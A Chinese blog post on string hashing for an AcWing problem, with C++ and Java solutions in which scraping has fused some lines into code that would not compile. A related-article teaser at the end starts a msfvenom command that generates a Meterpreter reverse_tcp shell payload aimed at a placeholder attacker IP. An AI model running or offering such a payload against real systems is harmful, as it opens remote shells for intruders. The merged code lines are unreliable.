参考链接:https://www.cnblogs.com/wyboooo/p/9813428.html

题目链接:https://www.acwing.com/problem/content/140/

将哈希算法用于字符串匹配的原理非常简单。对于每个起始位置,我们不是O(m)地直接比较字符串是否匹配,而是O(l)地比较长度为m的字符串子串地哈希值与T地哈希值是否相等。虽然即使哈希值相等也未必相等,但如果哈希值是随机分布地话,不同的字符串哈希值相等的概率是很低的,可以当作这种情况不会发生。
但是,如果我们采用O(m)的算法计算长度为 m地字符串子串地哈希值的话,那复杂度还是O(nm)。这里我们要使用一个叫做滚动哈希的优化技巧。选取两个合适的互素常数b和h(l<b<h),假没字符串C=c1c2c3...cm,定义哈希函数

H(C) = (c1bm-1 + c2bm-2 + c3bm-3 + ... + cmb0) mod h

其中b是基数, 相当于把字符串看做b进制。这项在计算S中m长的字串时,每向后滑动一个字符之后的字串的hash值和上一次字串的hash值有如下关系:

H(S[k+1.. k+m]) = H(S[k..k+m-1] * b - skbm + sk+m)mod h

这样计算hash值就可以在O(n)的时间内算出S中所有位置对应的hash值,从而在O(m + n)的时间内完成字符串匹配。

Hit:实际使用时取h为264,使用long long int 自然溢出省去取模时间。

PS:原始的R-K算法还需要检查哈希值冲突,但这样会使算法复杂度退化为O(mn),比赛时只比较不检查。

字符串Hash函数把一个任意长度的字符串映射成一个非负整数,并且其冲突概率几乎为零。

去以固定值P,把字符串看成P进制数,并分配一个大于0的数值,代表每种字符。取一个固定值M,求出该P进制数对M的余数,作为该字符串的Hash值。

一般来说取P=131或P=13331。通常取M = 2^64,也就是直接使用unsigned long long存储这个Hash值,产生溢出时相当于自动对2^64取模。

只要Hash值相同,我们就可以认为原字符串是相等的。

上述Hash算法很难产生冲突,一般情况下完全可以用在题目的标准解答中。还可以多取一些恰当的P和M的值,多进行几组Hash运算。

如果已知字符串S的Hash值为H(S),那么在S后添加一个字符c的新字符串的Hash值就是H(S+c)=(H(S)*P+val[c])modM

如果已知字符串S的Hash值为H(S),字符串S+T的Hash值为H(S+T),那么字符串T的Hash值H(T)=(H(S+T) -H(S)*Plength(T))mod M

c++代码:

#include <iostream>
#include <set>
#include <cmath>
#include <stdio.h>
#include <cstring>
#include <algorithm>
using namespace std;
typedef long long LL;
#define inf 0x7f7f7f7f const int maxn = 1e6 + 5;
char s[maxn];
int m;
int l1, r1, l2, r2;
unsigned long long H[maxn], p[maxn]; int main()
{
scanf("%s", s+1);
int n = strlen(s + 1);
p[0] = 1;
H[0] = 0;
for(int i = 1; i <= n; i++){
H[i] = H[i - 1] * 131 + (s[i] - 'a' + 1);
p[i] = p[i - 1] * 131;
}
scanf("%d", &m);
while(m--){
scanf("%d%d%d%d", &l1, &r1, &l2, &r2);
if(H[r1] - H[l1 - 1] * p[r1 - l1 + 1] == H[r2] - H[l2 - 1] * p[r2 - l2 + 1]){
puts("Yes");
}
else{
puts("No");
}
} }

  

Java代码:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.util.StringTokenizer; public class Main {
public static InputReader in = new InputReader(System.in);
public static PrintWriter out = new PrintWriter(new OutputStreamWriter(System.out));
static int maxn=10000005;
static int[]H=new int[maxn];
static int[]p=new int[maxn];
public static void main(String[] args) throws Exception {
while(in.hasNext()) {
String s=in.next();
int n=s.length();
s=" ".concat(s);
p[0]=1;
H[0]=0;
for(int i = 1; i <= n; i++){
H[i] = H[i - 1] * 131 + (s.charAt(i) - 'a' + 1);
p[i] = p[i - 1] * 131;
}
int m=in.nextInt();
while(m!=0) {
m--;
int l1=in.nextInt();
int r1=in.nextInt();
int l2=in.nextInt();
int r2=in.nextInt();
if(H[r1] - H[l1 - 1] * p[r1 - l1 + 1] == H[r2] - H[l2 - 1] * p[r2 - l2 + 1]){
out.println("Yes");
}
else{
out.println("No");
}
}
out.flush();//写在最后
}
out.close();
}
}
class InputReader{
private final static int BUF_SZ = 65536;
BufferedReader in;
StringTokenizer st;
public InputReader(InputStream in) {
super();
this.in = new BufferedReader(new InputStreamReader(in),BUF_SZ);
st = new StringTokenizer("");
}
public boolean hasNext() throws IOException {
while(!st.hasMoreTokens()){
String line = nextLine();
if(line == null){
return false;
}
st = new StringTokenizer(line);
}
return true;
}
public String next() throws IOException{
while (!st.hasMoreTokens()) {
try {
st = new StringTokenizer(in.readLine());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return st.nextToken();
} public int nextInt() throws IOException {
return Integer.parseInt(next());
}
public double nextDouble() throws IOException {
return Double.parseDouble(next());
}
public double nextLong() throws IOException {
return Long.parseLong(next());
}
public String nextLine() throws IOException {
String line = "";
line = in.readLine();
return line;
}
}

  

0x14哈希之兔子兔子的更多相关文章

  1. 139. 回文子串的最大长度(回文树/二分,前缀,后缀和,Hash)

    题目链接 : https://www.acwing.com/problem/content/141/ #include <bits/stdc++.h> using namespace st ...

  2. Hash 算法与 Manacher 算法

    目录 前言 简单介绍 简述 Hash 冲突 离散化 基本结构 普通 Hash 简述 例题 字符串 Hash 简单介绍 核心思想 基本运算 二维字符串 Hash 例题 兔子与兔子 回文子串的最大长度 后 ...

  3. [SinGuLaRiTy] NOIP模拟题 by liu_runda

    [SinGuLaRiTy-1046] Copyright (c) SinGuLaRiTy 2017. All Rights Reserved. 题目名称 兔子 被子 蚊子 源程序文件名 rabbit. ...

  4. 经典算法问题的java实现 (二)

    原文地址: http://liuqing-2010-07.iteye.com/blog/1403190   1.数值转换(System Conversion) 1.1 r进制数   数N的r进制可以表 ...

  5. 安卓开发笔记——个性化TextView(新浪微博)

    这几天在仿写新浪微博客户端,在处理微博信息的时候需要处理关键字高亮和微博表情,查了一些资料,决定记录点东西 先来看下效果图: 像以上这种#话题#,@XXX昵称,HTTP:网页链接等元素,在微博里是被高 ...

  6. acm.njupt 1001-1026 简单题

    点击可展开上面目录 Acm.njupt 1001-1026简单题 第一页许多是简单题,每题拿出来说说,没有必要,也说不了什么. 直接贴上AC的代码.初学者一题题做,看看别人的AC代码,寻找自己的问题. ...

  7. MSF小记

    0x00 Windows,Linux反弹shell生成 Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport= ...

  8. 纪中5日T2 1565. 神秘山庄

    1565. 神秘山庄 (Standard IO) 原题 题目描述 翠亨村是一个神秘的山庄,并不是因为它孕育了伟人孙中山,更神秘的是山庄里有N只鬼.M只兔子,当然还有你.其中每秒钟: 1. 恰有两个生物 ...

  9. RE.从单链表开始的数据结构生活(bushi

    单链表 单链表中节点的定义 typedef struct LNode{ int data;//数据域 struct LNode *next;//定义一个同类型的指针,指向该节点的后继节点 }LNode ...

随机推荐

  1. Node.js 开发

    Node.js不必介绍,已经太火爆了.简单说是用Javascript开发Web服务端,基于Google V8引擎,单线程.不多说从零开始Windows平台下的Node.js的开发之旅. 环境工具为先 ...

  2. springboot后台运行

    nohup java -jar shareniu.jar >out.txt &

  3. Mac 下安装Fiddler抓包工具

    需求 我们都知道在Mac电脑下面有一个非常好的抓包工具:Charles.但是这个只能抓代理的数据包.但是有时候想要调试本地网卡的数据库 Charles 就没办法了.就想到了在windows下面的一个F ...

  4. action,func简洁用法

     new Action(() => { }).Invoke();new Action(() => { })();    new Func<int, int>(s => { ...

  5. VMware运行gazebo,关于vmw_ioctl_command error Invalid argument错误

    运行rviz 时报  VMware: vmw_ioctl_command error 无效的参数.  这个错误. 或者 运行gazebo,关于vmw_ioctl_command error Inval ...

  6. xcode10对应的xcode command line tool编译的坑

    众所周知,xcode10新增的编译系统new build system会不支持一些老项目的编译,一般的做法是在Xcode编译配置Xcode->File->Project Settings/ ...

  7. 使用纳米 Protocol buffers 作为序列化数据

    使用纳米 Protocol buffers 作为序列化数据 Protocol Buffers 是 Google 公司开发的一种数据描述语言,类似于XML能够将结构化数据序列化. 但是它更小, 更快, ...

  8. 【LeetCode每天一题】Plus One(加一)

    Given a non-empty array of digits representing a non-negative integer, plus one to the integer.The d ...

  9. git merge后如何撤销

    merge后发现冲突太多,或者合并的分支代码并不是最新,那就直接撤销再合并好了. git reset --hard HEAD 用来撤销还没commit 的merge,其实原理就是放弃index和工作区 ...

  10. JDBCUtils相关

    1.之所以使用类加载器InputStream is = JdbcUtils.class.getClassLoader().getResourceAsStream("jdbcInfo.prop ...